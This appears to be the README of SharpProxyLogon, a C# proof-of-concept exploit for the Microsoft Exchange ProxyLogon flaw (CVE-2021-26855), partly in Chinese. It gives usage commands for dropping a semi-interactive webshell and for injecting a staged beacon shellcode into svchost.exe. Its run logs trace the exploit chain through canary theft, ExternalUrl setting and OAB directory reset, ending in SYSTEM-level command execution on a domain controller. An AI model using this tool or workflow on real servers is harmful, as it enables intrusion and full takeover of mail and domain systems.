flangvik/sharpproxylogon支持CVE-2021-26855（又名ProxyLogon）的C# POC，支持经典的半交互式Web shell以及shellcode注入
用于ProxyLogon链式RCE的C# POC
__ _ ___ __
/ _\ |__ __ _ _ __ _ __ / _ \_ __ _____ ___ _ / / ___ __ _ ___ _ __
\ \| '_ \ / _` | '__| '_ \ / /_)/ '__/ _ \ \/ / | | |/ / / _ \ / _` |/ _ \| '_ \
_\ \ | | | (_| | | | |_) / ___/| | | (_) > <| |_| / /__| (_) | (_| | (_) | | | |
\__/_| |_|\__,_|_| | .__/\/ |_| \___/_/\_\\__, \____/\___/ \__, |\___/|_| |_|
|_| |___/ |___/
@Flangvik
用法 Shell: SharpProxyLogon.exe <目标IP> <目标邮箱>
用法 x64注入: SharpProxyLogon.exe <目标IP> <目标邮箱> <shellcodepath.bin> <注入目标完整路径>
Shellcode注入使用内置的TikiTorch存根（@Rastamouse），它将生成、挂起并将staged_beacon.bin注入到svchost.exe中。
SharpProxyLogon.exe 192.168.58.111:443 [email protected] C:\Temp\staged_beacon.bin "C:\Windows\System32\svchost.exe"
__ _ ___ __
/ _\ |__ __ _ _ __ _ __ / _ \_ __ _____ ___ _ / / ___ __ _ ___ _ __
\ \| '_ \ / _` | '__| '_ \ / /_)/ '__/ _ \ \/ / | | |/ / / _ \ / _` |/ _ \| '_ \
_\ \ | | | (_| | | | |_) / ___/| | | (_) > <| |_| / /__| (_) | (_| | (_) | | | |
\__/_| |_|\__,_|_| | .__/\/ |_| \___/_/\_\\__, \____/\___/ \__, |\___/|_| |_|
|_| |___/ |___/
@Flangvik
用法 Shell: SharpProxyLogon.exe <targetip> <targetemail>
用法 x64注入: SharpProxyLogon.exe <targetip> <targetemail> <shellcodepath.bin> <inject-target-full-path>
[+] 获取到主机名 DC01
[+] 获取到 legacyDN /o=LEGITCORP/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=ae2513b106f343ab8c465ec254b105c6-Administrator
[+] 获取到 mailBoxId [email protected]
[+] 获取到 accountSID S-1-5-21-2354578447-2549489838-160590685-500
[+] 修补后的 accountSID-> S-1-5-21-2354578447-2549489838-160590685-500
[+] 获取到 msExchEcpCanary lR_xIbkU4EeRa8k0G_ekSjy7CrzM9dgIeCdYK8sMbRQMUoAQMnEfYvHrvDLT1j2jJMFBrpxnJ1s.
[+] 获取到 aspNETSessionID 0e8da60d-ff97-4748-80f1-5834caeba361
[+] 获取到 OABId 1d2e2d98-c636-43c7-a3a9-8041b545d575
[+] 正在设置 ExternalUrl...
[+] 正在触发 ResetOABVirtualDirectory...
[+] Shell应该已落地，正在触发注入
经典的webshell落盘示例
SharpProxyLogon.exe 192.168.58.111:443 [email protected]
__ _ ___ __
/ _\ |__ __ _ _ __ _ __ / _ \_ __ _____ ___ _ / / ___ __ _ ___ _ __
\ \| '_ \ / _` | '__| '_ \ / /_)/ '__/ _ \ \/ / | | |/ / / _ \ / _` |/ _ \| '_ \
_\ \ | | | (_| | | | |_) / ___/| | | (_) > <| |_| / /__| (_) | (_| | (_) | | | |
\__/_| |_|\__,_|_| | .__/\/ |_| \___/_/\_\\__, \____/\___/ \__, |\___/|_| |_|
|_| |___/ |___/
@Flangvik
用法 Shell: SharpProxyLogon.exe <targetip> <targetemail>
用法 x64注入: SharpProxyLogon.exe <targetip> <targetemail> <shellcodepath.bin> <inject-target-full-path>
[+] 获取到主机名 DC01
[+] 获取到 legacyDN /o=LEGITCORP/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=ae2513b106f343ab8c465ec254b105c6-Administrator
[+] 获取到 mailBoxId [email protected]
[+] 获取到 accountSID S-1-5-21-2354578447-2549489838-160590685-500
[+] 修补后的 accountSID-> S-1-5-21-2354578447-2549489838-160590685-500
[+] 获取到 msExchEcpCanary V7mF62VZA0ay793xWTSE07chwKLM9dgIQolVMbEnWJJkvonIUO8VWm2BZdIklFP35W-mtZnUZ4Y.
[+] 获取到 aspNETSessionID 9028e0b3-e56c-4b33-b0e9-b66ab9ab9067
[+] 获取到 OABId cabf9619-178d-4d3e-84a3-748ec598a477
[+] 正在设置 ExternalUrl...
[+] 正在触发 ResetOABVirtualDirectory...
[+] Shell应该已落地，进入半交互模式
CMD #>whoami
nt authority\system
CMD #>hostname
DC01
CMD #>ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::2598:cc98:d369:b6ed%13
IPv4 Address. . . . . . . . . . . : 192.168.58.111
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.58.2
CMD #>